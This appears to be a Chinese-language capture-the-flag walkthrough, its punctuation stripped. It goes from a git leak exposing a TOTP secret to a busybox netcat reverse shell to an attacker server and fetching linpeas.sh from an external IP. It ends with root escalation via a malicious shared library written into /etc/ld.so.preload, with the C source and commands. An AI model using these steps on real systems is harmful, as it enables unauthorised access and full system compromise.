
也就是说开了80端口和22端口可以看到存在git泄露使用git log -p命令审查提交历史。3XKWRL4MDQ5YYPZSYBPDGFLHFA大概率是密钥符合Base32编码格式且从登录页面让我们填一个Google OTP我们写一个脚本让他生成一个OTPimport pyotpkey 3XKWRL4MDQ5YYPZSYBPDGFLHFAtotp pyotp.TOTP(key)print(当前 OTP:, totp.now()) # 每30秒变一次成功登录得到shell我们反弹shell到我们服务器上去在服务器上nc -lvnp 7777在靶机上busybox nc xx.xx.xx.xx 7777 -e /bin/sh同时我们开TTYpython3 -c import pty; pty.spawn(/bin/bash)提权先上传一下linpeas.shkalipython3 -m http.server 6666靶机busybox wget http://115.120.236.65:6666/linpeas.shchmod x linpeas.sh./linpeas.sh用户对/etc/ld.so.preload文件拥有写入权限。该文件用于指定在任何程序运行前需要预加载的动态链接库。这是一个经典的、高成功率的linux提权向量利用ld.so.preload提权#include stdio.h#include sys/types.h#include unistd.h#include stdlib.hvoid __attribute__((constructor)) init() {unlink(/etc/ld.so.preload);setgid(0);setuid(0);execl(/bin/bash, bash, --norc, --noprofile, NULL);execl(/bin/sh, sh, NULL);}在/tmp目录下创建一个名为exp.c的C语言文件其功能是在库被加载时将当前进程的权限提升为root并启动一个bash shell使用gcc将C代码编译成一个共享库文件exp.sogcc -fPIC -shared -O -o exp.so exp.c -nostartfiles将我们恶意共享库的路径写入/etc/ld.so.preload中echo /tmp/exp.so /etc/ld.so.preload然后我们执行任何一个以root权限运行的SUID程序如sudo来出发预加载sudo -l